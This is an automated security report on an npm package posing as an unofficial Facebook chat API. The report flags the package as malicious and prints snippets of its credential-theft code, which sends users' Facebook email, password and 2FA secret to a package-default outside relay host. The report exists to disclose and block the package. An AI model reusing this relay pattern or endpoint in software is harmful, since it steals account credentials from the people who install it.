---
canonical: "https://firewall.lpm.dev/npm/fcanew-r3nz75/v/10.1.4"
markdown: "https://firewall.lpm.dev/npm/fcanew-r3nz75/v/10.1.4.md"
package: "fcanew-r3nz75"
report_status: "published"
title: "fcanew-r3nz75@10.1.4 npm security report"
verdict: "malicious"
version: "10.1.4"
---

# fcanew-r3nz75@10.1.4 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The endpoint operator can receive Facebook email, password, optional 2FA secret, and return session cookies/access tokens.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 10.1.4
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

On runtime credential login, the package sends Facebook credentials to a package-default third-party endpoint. The endpoint response is used to obtain Facebook session material.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-23T13:42:56.373Z
- **Finished:** 2026-08-23T13:45:39.317Z
- **Download time:** 769 ms
- **Static scan time:** 4576 ms
- **AI review time:** 157597 ms
- **Total time:** 162944 ms

## Security analysis

### Published attack-surface review

- **Summary:** On runtime credential login, the package sends Facebook credentials to a package-default third-party endpoint. The endpoint response is used to obtain Facebook session material.

- **Trigger:** Caller invokes login with email/password, or configured auto-login runs after a missing/invalid session.

- **Impact:** The endpoint operator can receive Facebook email, password, optional 2FA secret, and return session cookies/access tokens.

- **Evidence paths:** package.json, module/config.js, module/login.js, module/loginHelper.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-23T13:45:39.317Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Default external credential relay and session-token acquisition.

- **Attack narrative:** The package defaults apiServer to minhdong.site. Its login helper builds a body containing the caller's Facebook email and password, optionally adds a 2FA secret, and POSTs it to that endpoint. The standard no-appState credential-login path invokes this function and accepts returned cookies/access tokens, creating a concrete third-party credential-exfiltration path.

- **Rationale:** This is concrete credential exfiltration to a package-controlled default endpoint during the package's normal login flow. Absence of install hooks does not mitigate the runtime theft path.

- **Files touched:** module/config.js, module/login.js, module/loginHelper.js

- **Network endpoints:** https://minhdong.site/api/v1/facebook/login\_ios

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** Default configuration routes API logins to minhdong.site., Login code sends supplied email and password in a POST body to that external endpoint., Normal credential-login fallback calls the API-token function, returning session cookies/access tokens.

- **Evidence against:** package.json has no preinstall, install, or postinstall hook., The credential transmission occurs at login runtime, not merely on import.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: High Secret
- **Category:** Secrets
- **Confidence:** 85.0%
- **Path:** e2ee/vendor/fb-e2ee.cjs
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/e2ee/vendor/fb-e2ee.cjs>)

Package contains a high-severity secret pattern.

Public source snippet (untrusted):

```javascript
patternName = google_api_key
severity = high
line = 2964
matchedText = ["64", "...7"],
```

### 3. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** e2ee/index.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/e2ee/index.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L145: try {
L146: var dynamicImport = new Function("specifier", "return import(specifier)");
L147: mod = await dynamicImport(_NATIVE_LIB_URL);
```

### 4. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** e2ee/protocol.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/e2ee/protocol.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L14: 
L15: const crypto = require("crypto");
L16: const { hmacSha256, generateKeyPair, randomBytes } = require("./crypto");
```

### 5. Low: Weak Crypto
- **Category:** Source
- **Confidence:** 64.0%
- **Path:** e2ee/vendor/fb-e2ee.cjs
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/e2ee/vendor/fb-e2ee.cjs>)

Package source references weak cryptographic algorithms.

Public source snippet (untrusted):

```javascript
L130: copyProps(Buffer3, SafeBuffer);
L131: SafeBuffer.from = function(arg, encodingOrOffset, length) {
L132: if (typeof arg === "number") {
...
L400: * @return {Object} Accepted configuration
L401: * @private
L402: */
...
L543: this._inflate[kWriteInProgress] = true;
L544: this._inflate.write(data);
L545: if (fin) this._inflate.write(TRAILER);
...
L660: * @param {(String|Buffer|ArrayBuffer|Buffer[])} data The received data
L661: * @param {WebSocket} target A reference to the target to which the event was dispatched
L662: */
```

### 6. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 7. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 8. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 9. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** module/config.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/module/config.js>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```javascript
Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay.
module/config.js:
autoLogin: true,
apiServer: "https://minhdong.site",
credentials: { email: "", password: "", twofactor: "" },
module/loginHelper.js:
* @param {string} email - Email hoặc số điện thoại
* @param {string} password - Mật khẩu
* @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số)
async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) {
const endpoint = `${baseUrl}/api/v1/facebook/login_ios`;
email,
password
// Only include twoFactor if provided (must be Base32 secret, not 6-digit code)
module/loginHelper.js:
const u = config.credentials?.email || config.email;
const p = config.credentials?.pas
```

### 10. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 11. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 12. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 13. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** e2ee/index.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/e2ee/index.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = fcanew-r3nz75@10.1.3
matchedPath = e2ee/index.js
matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 14. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** module/loginHelper.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/module/loginHelper.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = fcanew-r3nz75@10.1.3
matchedPath = module/loginHelper.js
matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 15. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** src/api/messaging/uploadAttachment.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/src/api/messaging/uploadAttachment.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = fcanew-r3nz75@10.1.3
matchedPath = [redacted].js
matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 16. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** src/api/socket/e2ee/e2ee/index.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/src/api/socket/e2ee/e2ee/index.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = fcanew-r3nz75@10.1.3
matchedPath = src/api/socket/e2ee/e2ee/index.js
matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 17. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** src/api/socket/e2ee/index.js
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/src/api/socket/e2ee/index.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = fcanew-r3nz75@10.1.3
matchedPath = src/api/socket/e2ee/index.js
matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 18. High: Secret Pattern
- **Category:** Secrets
- **Confidence:** 75.0%
- **Path:** e2ee/vendor/fb-e2ee.cjs
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/e2ee/vendor/fb-e2ee.cjs>)

Google API key in e2ee/vendor/fb-e2ee.cjs

Public source snippet (untrusted):

```javascript
patternName = google_api_key
severity = high
line = 2964
matchedText = ["64", "...7"],
```

### 19. High: Secret Pattern
- **Category:** Secrets
- **Confidence:** 75.0%
- **Path:** src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs>)

Google API key in src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

Public source snippet (untrusted):

```javascript
patternName = google_api_key
severity = high
line = 2964
matchedText = ["64", "...7"],
```

### 20. High: Secret Pattern
- **Category:** Secrets
- **Confidence:** 75.0%
- **Path:** src/api/socket/e2ee/vendor/fb-e2ee.cjs
- **Public source:** [View source](<https://unpkg.com/fcanew-r3nz75@10.1.4/src/api/socket/e2ee/vendor/fb-e2ee.cjs>)

Google API key in src/api/socket/e2ee/vendor/fb-e2ee.cjs

Public source snippet (untrusted):

```javascript
patternName = google_api_key
severity = high
line = 2964
matchedText = ["64", "...7"],
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 18
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 2
- **Published dependency-graph edges:** 18

### Published dependency entries
- @noble/curves ^2.2.0 (Dependency)
- @noble/hashes ^2.2.0 (Dependency)
- @signalapp/libsignal-client 0.70.0 (Dependency)
- axios ^1.13.5 (Dependency)
- axios-cookiejar-support ^5.0.5 (Dependency)
- bluebird ^3.7.2 (Dependency)
- chalk ^4.1.2 (Dependency)
- cheerio 1.0.0-rc.12 (Dependency)
- duplexify ^4.1.3 (Dependency)
- gradient-string ^2.0.2 (Dependency)
- https-proxy-agent ^4.0.0 (Dependency)
- mime ^3.0.0 (Dependency)
- mqtt ^5.10.1 (Dependency)
- protobufjs ^8.4.0 (Dependency)
- sequelize ^6.37.8 (Dependency)
- sqlite3 ^5.1.7 (Dependency)
- totp-generator ^1.0.0 (Dependency)
- ws ^8.18.0 (Dependency)

## Package metadata
- **Package:** fcanew-r3nz75
- **Ecosystem:** npm
- **Version:** 10.1.4
- **License:** MIT
- **Version published:** 2026-08-23T13:37:01.251Z
- **Package first seen:** 2026-08-23T12:10:47.132Z
- **Package last seen:** 2026-08-23T15:46:19.291Z
- **Known versions:** 9
- **Latest version:** 10.1.12
- **Appeal under review:** No
- **Description:** Facebook Chat API - Redefine By renz2451 | r3nz75
- **Author:** r3nz75
- **Keywords:** facebook, chat, api, messenger, bot, unofficial, fca, fca-r3nz75, r3nz75
- **Runtime engines:** node: \>=12.0.0
- **Artifact files:** 264
- **Artifact unpacked size:** 2,503,606 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/fcanew-r3nz75/v/10.1.4>)
- [Repository](<https://github.com/renz2451/fcanew-r3nz75.git>)
- [Homepage](<https://github.com/renz2451/fcanew-r3nz75#readme>)
- [Issues](<https://github.com/renz2451/fcanew-r3nz75/issues>)
